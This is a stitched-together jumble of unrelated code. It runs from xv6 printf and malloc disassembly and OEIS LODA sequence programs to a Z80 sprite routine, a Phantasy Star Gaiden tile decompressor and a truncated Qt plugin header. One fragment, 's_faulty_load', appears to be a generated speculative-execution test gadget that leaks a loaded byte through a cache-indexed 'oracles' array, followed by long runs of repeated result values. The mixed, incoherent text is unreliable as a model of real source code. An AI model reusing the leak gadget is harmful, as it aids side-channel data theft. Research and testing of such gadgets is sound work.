0) s = "(null)"; while(*s != 0){ 52a: 8b 45 f4 mov -0xc(%ebp),%eax 52d: 0f b6 00 movzbl (%eax),%eax 530: 84 c0 test %al,%al 532: 75 da jne 50e <printf+0x103> 534: eb 68 jmp 59e <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ 536: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 53a: 75 1d jne 559 <printf+0x14e> putc(fd, *ap); 53c: 8b 45 e8 mov -0x18(%ebp),%eax 53f: 8b 00 mov (%eax),%eax 541: 0f be c0 movsbl %al,%eax 544: 89 44 24 04 mov %eax,0x4(%esp) 548: 8b 45 08 mov 0x8(%ebp),%eax 54b: 89 04 24 mov %eax,(%esp) 54e: e8 d8 fd ff ff call 32b <putc> ap++; 553: 83 45 e8 04 addl $0x4,-0x18(%ebp) 557: eb 45 jmp 59e <printf+0x193> } else if(c == '%'){ 559: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 55d: 75 17 jne 576 <printf+0x16b> putc(fd, c); 55f: 8b 45 e4 mov -0x1c(%ebp),%eax 562: 0f be c0 movsbl %al,%eax 565: 89 44 24 04 mov %eax,0x4(%esp) 569: 8b 45 08 mov 0x8(%ebp),%eax 56c: 89 04 24 mov %eax,(%esp) 56f: e8 b7 fd ff ff call 32b <putc> 574: eb 28 jmp 59e <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 576: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 57d: 00 57e: 8b 45 08 mov 0x8(%ebp),%eax 581: 89 04 24 mov %eax,(%esp) 584: e8 a2 fd ff ff call 32b <putc> putc(fd, c); 589: 8b 45 e4 mov -0x1c(%ebp),%eax 58c: 0f be c0 movsbl %al,%eax 58f: 89 44 24 04 mov %eax,0x4(%esp) 593: 8b 45 08 mov 0x8(%ebp),%eax 596: 89 04 24 mov %eax,(%esp) 599: e8 8d fd ff ff call 32b <putc> } state = 0; 59e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5a5: 83 45 f0 01 addl $0x1,-0x10(%ebp) 5a9: 8b 55 0c mov 0xc(%ebp),%edx 5ac: 8b 45 f0 mov -0x10(%ebp),%eax 5af: 01 d0 add %edx,%eax 5b1: 0f b6 00 movzbl (%eax),%eax 5b4: 84 c0 test %al,%al 5b6: 0f 85 71 fe ff ff jne 42d <printf+0x22> putc(fd, c); } state = 0; } } } 5bc: c9 leave 5bd: c3 ret 000005be <free>: static Header base; static Header *freep; void free(void *ap) { 5be: 55 push %ebp 5bf: 89 e5 mov %esp,%ebp 5c1: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 5c4: 8b 45 08 mov 0x8(%ebp),%eax 5c7: 83 e8 08 sub $0x8,%eax 5ca: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5cd: a1 40 0a 00 00 mov 0xa40,%eax 5d2: 89 45 fc mov %eax,-0x4(%ebp) 5d5: eb 24 jmp 5fb <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5d7: 8b 45 fc mov -0x4(%ebp),%eax 5da: 8b 00 mov (%eax),%eax 5dc: 3b 45 fc cmp -0x4(%ebp),%eax 5df: 77 12 ja 5f3 <free+0x35> 5e1: 8b 45 f8 mov -0x8(%ebp),%eax 5e4: 3b 45 fc cmp -0x4(%ebp),%eax 5e7: 77 24 ja 60d <free+0x4f> 5e9: 8b 45 fc mov -0x4(%ebp),%eax 5ec: 8b 00 mov (%eax),%eax 5ee: 3b 45 f8 cmp -0x8(%ebp),%eax 5f1: 77 1a ja 60d <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5f3: 8b 45 fc mov -0x4(%ebp),%eax 5f6: 8b 00 mov (%eax),%eax 5f8: 89 45 fc mov %eax,-0x4(%ebp) 5fb: 8b 45 f8 mov -0x8(%ebp),%eax 5fe: 3b 45 fc cmp -0x4(%ebp),%eax 601: 76 d4 jbe 5d7 <free+0x19> 603: 8b 45 fc mov -0x4(%ebp),%eax 606: 8b 00 mov (%eax),%eax 608: 3b 45 f8 cmp -0x8(%ebp),%eax 60b: 76 ca jbe 5d7 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 60d: 8b 45 f8 mov -0x8(%ebp),%eax 610: 8b 40 04 mov 0x4(%eax),%eax 613: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 61a: 8b 45 f8 mov -0x8(%ebp),%eax 61d: 01 c2 add %eax,%edx 61f: 8b 45 fc mov -0x4(%ebp),%eax 622: 8b 00 mov (%eax),%eax 624: 39 c2 cmp %eax,%edx 626: 75 24 jne 64c <free+0x8e> bp->s.size += p->s.ptr->s.size; 628: 8b 45 f8 mov -0x8(%ebp),%eax 62b: 8b 50 04 mov 0x4(%eax),%edx 62e: 8b 45 fc mov -0x4(%ebp),%eax 631: 8b 00 mov (%eax),%eax 633: 8b 40 04 mov 0x4(%eax),%eax 636: 01 c2 add %eax,%edx 638: 8b 45 f8 mov -0x8(%ebp),%eax 63b: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 63e: 8b 45 fc mov -0x4(%ebp),%eax 641: 8b 00 mov (%eax),%eax 643: 8b 10 mov (%eax),%edx 645: 8b 45 f8 mov -0x8(%ebp),%eax 648: 89 10 mov %edx,(%eax) 64a: eb 0a jmp 656 <free+0x98> } else bp->s.ptr = p->s.ptr; 64c: 8b 45 fc mov -0x4(%ebp),%eax 64f: 8b 10 mov (%eax),%edx 651: 8b 45 f8 mov -0x8(%ebp),%eax 654: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 656: 8b 45 fc mov -0x4(%ebp),%eax 659: 8b 40 04 mov 0x4(%eax),%eax 65c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 663: 8b 45 fc mov -0x4(%ebp),%eax 666: 01 d0 add %edx,%eax 668: 3b 45 f8 cmp -0x8(%ebp),%eax 66b: 75 20 jne 68d <free+0xcf> p->s.size += bp->s.size; 66d: 8b 45 fc mov -0x4(%ebp),%eax 670: 8b 50 04 mov 0x4(%eax),%edx 673: 8b 45 f8 mov -0x8(%ebp),%eax 676: 8b 40 04 mov 0x4(%eax),%eax 679: 01 c2 add %eax,%edx 67b: 8b 45 fc mov -0x4(%ebp),%eax 67e: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 681: 8b 45 f8 mov -0x8(%ebp),%eax 684: 8b 10 mov (%eax),%edx 686: 8b 45 fc mov -0x4(%ebp),%eax 689: 89 10 mov %edx,(%eax) 68b: eb 08 jmp 695 <free+0xd7> } else p->s.ptr = bp; 68d: 8b 45 fc mov -0x4(%ebp),%eax 690: 8b 55 f8 mov -0x8(%ebp),%edx 693: 89 10 mov %edx,(%eax) freep = p; 695: 8b 45 fc mov -0x4(%ebp),%eax 698: a3 40 0a 00 00 mov %eax,0xa40 } 69d: c9 leave 69e: c3 ret 0000069f <morecore>: static Header* morecore(uint nu) { 69f: 55 push %ebp 6a0: 89 e5 mov %esp,%ebp 6a2: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 6a5: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 6ac: 77 07 ja 6b5 <morecore+0x16> nu = 4096; 6ae: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 6b5: 8b 45 08 mov 0x8(%ebp),%eax 6b8: c1 e0 03 shl $0x3,%eax 6bb: 89 04 24 mov %eax,(%esp) 6be: e8 50 fc ff ff call 313 <sbrk> 6c3: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 6c6: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 6ca: 75 07 jne 6d3 <morecore+0x34> return 0; 6cc: b8 00 00 00 00 mov $0x0,%eax 6d1: eb 22 jmp 6f5 <morecore+0x56> hp = (Header*)p; 6d3: 8b 45 f4 mov -0xc(%ebp),%eax 6d6: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 6d9: 8b 45 f0 mov -0x10(%ebp),%eax 6dc: 8b 55 08 mov 0x8(%ebp),%edx 6df: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 6e2: 8b 45 f0 mov -0x10(%ebp),%eax 6e5: 83 c0 08 add $0x8,%eax 6e8: 89 04 24 mov %eax,(%esp) 6eb: e8 ce fe ff ff call 5be <free> return freep; 6f0: a1 40 0a 00 00 mov 0xa40,%eax } 6f5: c9 leave 6f6: c3 ret 000006f7 <malloc>: void* malloc(uint nbytes) { 6f7: 55 push %ebp 6f8: 89 e5 mov %esp,%ebp 6fa: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6fd: 8b 45 08 mov 0x8(%ebp),%eax 700: 83 c0 07 add $0x7,%eax 703: c1 e8 03 shr $0x3,%eax 706: 83 c0 01 add $0x1,%eax 709: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 70c: a1 40 0a 00 00 mov 0xa40,%eax 711: 89 45 f0 mov %eax,-0x10(%ebp) 714: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 718: 75 23 jne 73d <malloc+0x46> base.s.ptr = freep = prevp = &base; 71a: c7 45 f0 38 0a 00 00 movl $0xa38,-0x10(%ebp) 721: 8b 45 f0 mov -0x10(%ebp),%eax 724: a3 40 0a 00 00 mov %eax,0xa40 729: a1 40 0a 00 00 mov 0xa40,%eax 72e: a3 38 0a 00 00 mov %eax,0xa38 base.s.size = 0; 733: c7 05 3c 0a 00 00 00 movl $0x0,0xa3c 73a: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 73d: 8b 45 f0 mov -0x10(%ebp),%eax 740: 8b 00 mov (%eax),%eax 742: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 745: 8b 45 f4 mov -0xc(%ebp),%eax 748: 8b 40 04 mov 0x4(%eax),%eax 74b: 3b 45 ec cmp -0x14(%ebp),%eax 74e: 72 4d jb 79d <malloc+0xa6> if(p->s.size == nunits) 750: 8b 45 f4 mov -0xc(%ebp),%eax 753: 8b 40 04 mov 0x4(%eax),%eax 756: 3b 45 ec cmp -0x14(%ebp),%eax 759: 75 0c jne 767 <malloc+0x70> prevp->s.ptr = p->s.ptr; 75b: 8b 45 f4 mov -0xc(%ebp),%eax 75e: 8b 10 mov (%eax),%edx 760: 8b 45 f0 mov -0x10(%ebp),%eax 763: 89 10 mov %edx,(%eax) 765: eb 26 jmp 78d <malloc+0x96> else { p->s.size -= nunits; 767: 8b 45 f4 mov -0xc(%ebp),%eax 76a: 8b 40 04 mov 0x4(%eax),%eax 76d: 2b 45 ec sub -0x14(%ebp),%eax 770: 89 c2 mov %eax,%edx 772: 8b 45 f4 mov -0xc(%ebp),%eax 775: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 778: 8b 45 f4 mov -0xc(%ebp),%eax 77b: 8b 40 04 mov 0x4(%eax),%eax 77e: c1 e0 03 shl $0x3,%eax 781: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 784: 8b 45 f4 mov -0xc(%ebp),%eax 787: 8b 55 ec mov -0x14(%ebp),%edx 78a: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 78d: 8b 45 f0 mov -0x10(%ebp),%eax 790: a3 40 0a 00 00 mov %eax,0xa40 return (void*)(p + 1); 795: 8b 45 f4 mov -0xc(%ebp),%eax 798: 83 c0 08 add $0x8,%eax 79b: eb 38 jmp 7d5 <malloc+0xde> } if(p == freep) 79d: a1 40 0a 00 00 mov 0xa40,%eax 7a2: 39 45 f4 cmp %eax,-0xc(%ebp) 7a5: 75 1b jne 7c2 <malloc+0xcb> if((p = morecore(nunits)) == 0) 7a7: 8b 45 ec mov -0x14(%ebp),%eax 7aa: 89 04 24 mov %eax,(%esp) 7ad: e8 ed fe ff ff call 69f <morecore> 7b2: 89 45 f4 mov %eax,-0xc(%ebp) 7b5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7b9: 75 07 jne 7c2 <malloc+0xcb> return 0; 7bb: b8 00 00 00 00 mov $0x0,%eax 7c0: eb 13 jmp 7d5 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7c2: 8b 45 f4 mov -0xc(%ebp),%eax 7c5: 89 45 f0 mov %eax,-0x10(%ebp) 7c8: 8b 45 f4 mov -0xc(%ebp),%eax 7cb: 8b 00 mov (%eax),%eax 7cd: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 7d0: e9 70 ff ff ff jmp 745 <malloc+0x4e> } 7d5: c9 leave 7d6: c3 ret
; A068096: a(n) = F(L(n)) where F(n) = n-th Fibonacci number and L(n) = n-th Lucas number. ; 1,1,2,3,13,89,2584,514229,2971215073,3416454622906707,22698374052006863956975682 seq $0,32 ; Lucas numbers beginning at 2: L(n) = L(n-1) + L(n-2), L(0) = 2, L(1) = 1. seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x16adc, %rax and $3483, %r12 movl $0x61626364, (%rax) xor $36673, %r9 lea addresses_WT_ht+0xf69c, %rsi lea addresses_WC_ht+0x1c76c, %rdi nop nop add $59691, %r12 mov $95, %rcx rep movsb nop add $10353, %rsi lea addresses_WC_ht+0x18e04, %rsi lea addresses_A_ht+0x285c, %rdi nop nop nop nop nop dec %r11 mov $57, %rcx rep movsw nop nop nop cmp %r12, %r12 lea addresses_D_ht+0x1e2dc, %rsi lea addresses_WT_ht+0x1e8dc, %rdi nop nop nop xor %r8, %r8 mov $84, %rcx rep movsq nop xor %r12, %r12 lea addresses_UC_ht+0x11e9f, %rcx clflush (%rcx) nop and %r11, %r11 movups (%rcx), %xmm0 vpextrq $0, %xmm0, %r12 nop and $21963, %rcx lea addresses_UC_ht+0x19c4, %r11 nop nop nop nop xor %r8, %r8 movw $0x6162, (%r11) sub %rsi, %rsi lea addresses_A_ht+0x36dc, %rax nop sub $17055, %r12 movups (%rax), %xmm7 vpextrq $1, %xmm7, %rsi nop nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x1c94, %rax nop nop nop nop cmp $51189, %r8 movl $0x61626364, (%rax) nop nop nop dec %rax lea addresses_D_ht+0x9adc, %rdi nop nop sub %r9, %r9 movl $0x61626364, (%rdi) inc %rdi lea addresses_WC_ht+0xeadc, %rsi lea addresses_A_ht+0xd982, %rdi clflush (%rsi) sub %r9, %r9 mov $72, %rcx rep movsw nop nop cmp $29583, %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rax push %rbp push %rcx push %rdx // Store lea addresses_WC+0x1bc4a, %rcx clflush (%rcx) nop nop nop xor $57366, %r13 mov $0x5152535455565758, %rax movq %rax, %xmm5 movups %xmm5, (%rcx) inc %rax // Store lea addresses_WC+0x1c4dc, %rdx cmp $11054, %rbp movb $0x51, (%rdx) nop nop nop and $46953, %r13 // Load mov $0x3990b900000004dc, %rax add $9977, %rbp mov (%rax), %rdx nop nop nop nop nop add %rdx, %rdx // Store lea addresses_A+0x1f05c, %r13 nop nop nop nop cmp $55588, %r11 mov $0x5152535455565758, %rdx movq %rdx, (%r13) nop nop nop inc %r9 // Load mov $0xf2097000000055c, %rbp nop nop nop nop nop inc %r13 movb (%rbp), %dl nop nop nop nop nop cmp %rbp, %rbp // Load lea addresses_UC+0x2e5c, %rdx nop nop xor %rbp, %rbp movups (%rdx), %xmm5 vpextrq $0, %xmm5, %rcx nop nop xor %r13, %r13 // Faulty Load lea addresses_PSE+0x152dc, %r11 nop nop nop nop xor $2151, %r13 vmovups (%r11), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rbp lea oracles, %rax and $0xff, %rbp shlq $12, %rbp mov (%rax,%rbp,1), %rbp pop %rdx pop %rcx pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}} {'src': {'NT': True, 'same': False, 'congruent': 7, 'type': 'addresses_NC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_UC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_A_ht'}} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': True, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
; sp1_ValUpdateStruct ; 03.2006 aralbrec, Sprite Pack v3.0 ; sinclair spectrum version SECTION code_clib SECTION code_temp_sp1 PUBLIC asm_sp1_ValUpdateStruct ; FASTCALL ; Validate struct_sp1_update so that it is not drawn in ; the next update. You must make sure that this tile is ; not invalidated by any call before the next update or ; portions of the screen may become inactive (ie will never ; be drawn during update). ; ; enter : HL = & struct sp1_update ; uses : none asm_sp1_ValUpdateStruct: bit 6,(hl) ; must not validate removed update chars ret nz res 7,(hl) ret
; A044543: Numbers n such that string 3,3 occurs in the base 7 representation of n but not of n+1. ; 24,73,122,174,220,269,318,367,416,465,517,563,612,661,710,759,808,860,906,955,1004,1053,1102,1151,1224,1249,1298,1347,1396,1445,1494,1546,1592,1641,1690,1739,1788,1837,1889,1935,1984 mov $3,$0 mul $0,6 add $0,3 mov $1,49 gcd $1,$0 div $1,2 add $1,24 mov $2,$3 mul $2,49 add $1,$2 mov $0,$1
; A332408: a(n) = Sum_{k=0..n} binomial(n,k) * k! * k^n. ; Submitted by Jon Maiga ; 1,1,10,213,8284,513105,46406286,5772636373,945492503320,197253667623681,51069324556151290,16067283861476491941,6037615013420387657844,2670812587802323522405393,1373842484756310928089102022,813119045938378747809030359445 mov $4,$0 add $0,1 lpb $0 sub $0,1 mul $2,$1 add $1,1 mov $3,$0 pow $3,$4 add $2,$3 lpe mov $0,$2
; Phantasy Star Gaiden tile decompressor ; To use: ; ; .define PSGDecoderBuffer $c000 ; define a 34 byte work area for it ; .include "Phantasy Star Gaiden decompressor.inc" ; include this file ; ld ix, <address of compressed data> ; ld hl, <VRAM address to write to, ORed with $4000> ; call PSG_decompress ; .section "PSG decompressor" free .define vram_ptr PSGDecoderBuffer ; word: VRAM address .define buffer PSGDecoderBuffer + 2 ; 32-byte decompression buffer ; hl = dest ; ix = src PSG_decompress: ld (vram_ptr),hl ; cache VRAM address ld c,(ix+0) ; bc = number of tiles inc ix ld b,(ix+0) inc ix _DecompressTile: push bc ; save number of tiles ld b,$04 ; count 4 bitplanes ld de,buffer ; write to de ld c,(ix+0) ; c = encoding information for 4 bitplanes inc ix _DecompressBitplane: rlc c ; %0x = all bits either 0 or 1 jr nc,_AllTheSame rlc c ; %11 = raw data jr c,_RawData _Compressed: ld a,(ix+0) ; get method byte inc ix ex de,hl ; get bitplane, if it's referring to one ld d,a and $03 add a,a ; calculate address of that bitplane add a,a ; = buffer + bitplane * 8 add a,a ld e,a ld a,d ; get method byte back ld d,$00 ld iy,buffer add iy,de ; now iy points to the referred to bitplane ex de,hl ; now check the method byte cp $03 ; %000000pp jr c,_DuplicateBitplane cp $10 jr c,_CommonValue cp $13 ; %000100pp jr c,_DuplicateBitplaneInvert cp $20 jr c,_CommonValue cp $23 ; %001000pp jr c,_DuplicateBitplanePartial cp $40 jr c,_CommonValue cp $43 ; %010000pp jr c,_DuplicateBitplanePartialInvert ; fall through _CommonValue: ld h,a ; h = bitmask ld l,(ix+0) ; l = common value inc ix jr _OutputCommonValue _RawData: ld h,$00 ; empty bitmask; no common value jr _OutputCommonValue _AllTheSame: rlc c ; get next bit into carry sbc a,a ; will make $00 if carry = 0, $ff if it's 1 ld l,a ; that's the common value ld h,$ff ; full bitmask ; fall through _OutputCommonValue: push bc ld b,8 ; loop counter -: ld a,l ; get common value rlc h ; get bit out of bitmask jr c,+ ; if 1, use the common value ld a,(ix+0); else get it from (ix++) inc ix +: ld (de),a ; write to dest inc de djnz - ; loop over 8 bytes pop bc jr _BitplaneDone _DuplicateBitplane: ld hl,$ff00 ; full copy bitmask, empty inversion bitmask jr _OutputDuplicate _DuplicateBitplaneInvert: ld hl,$ffff ; full copy bitmask, full inversion bitmask jr _OutputDuplicate _DuplicateBitplanePartial: ld h,(ix+0) ; get copy bitmask ld l,$00 ; empty inversion bitmask inc ix jr _OutputDuplicate _DuplicateBitplanePartialInvert: ld h,(ix+0) ; get copt bitmask ld l,$ff ; full inversion bitmask inc ix ; fall through _OutputDuplicate: push bc ld b,8 ; loop counter -: ld a,(iy+0); read byte to copy inc iy xor l ; apply inversion mask rlc h ; get bit out of bitmask jr c,+ ; if 1, use the copied value ld a,(ix+0); else get it from (ix++) inc ix +: ld (de),a ; write to dest inc de djnz - ; loop over 8 bytes pop bc ; fall through _BitplaneDone: dec b ; decrement bitplane counter jp nz,_DecompressBitplane ; loop if not zero _OutputTileToVRAM: ld a,(vram_ptr) out ($bf),a ld a,(vram_ptr+1) out ($bf),a ld de,$0008 ; we are interleaving every 8th byte ld c,e ; counter for the interleaving run ld hl,buffer ; point at data to write --: ld b,4 ; there are 4 bytes to interleave push hl -: ld a,(hl) ; read byte out ($be),a; write to vram add hl,de ; skip 8 bytes djnz - pop hl inc hl ; next interleaving run dec c jr nz,-- ; Add 32 bytes to vram_ptr ld hl,(vram_ptr) ld bc,32 add hl,bc ld (vram_ptr),hl pop bc dec bc ; next tile ld a,b or c jp nz,_DecompressTile ret ; done .ends
/************************************************************************** ** ** Copyright (c) 2013 David Dibben ** ** Permission is hereby granted, free of charge, to any person obtaining a copy of ** this software and associated documentation files (the "Software"), to deal in ** the Software without restriction, including without limitation the rights to ** use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of ** the Software, and to permit persons to whom the Software is furnished to do so, ** subject to the following conditions: ** ** The above copyright notice and this permission notice shall be included in all ** copies or substantial portions of the Software. ** ** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ** IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS ** FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR ** COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER ** IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN ** CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ** ****************************************************************************/ #include "cruisecontrolsetingspage.h" #include "cruisecontrolconstants.h" #include <coreplugin/icore.h> #include <QSettings> #include <QString> #include "ui_cruisecontrolsetingspage.h" namespace CruiseControl { namespace Internal 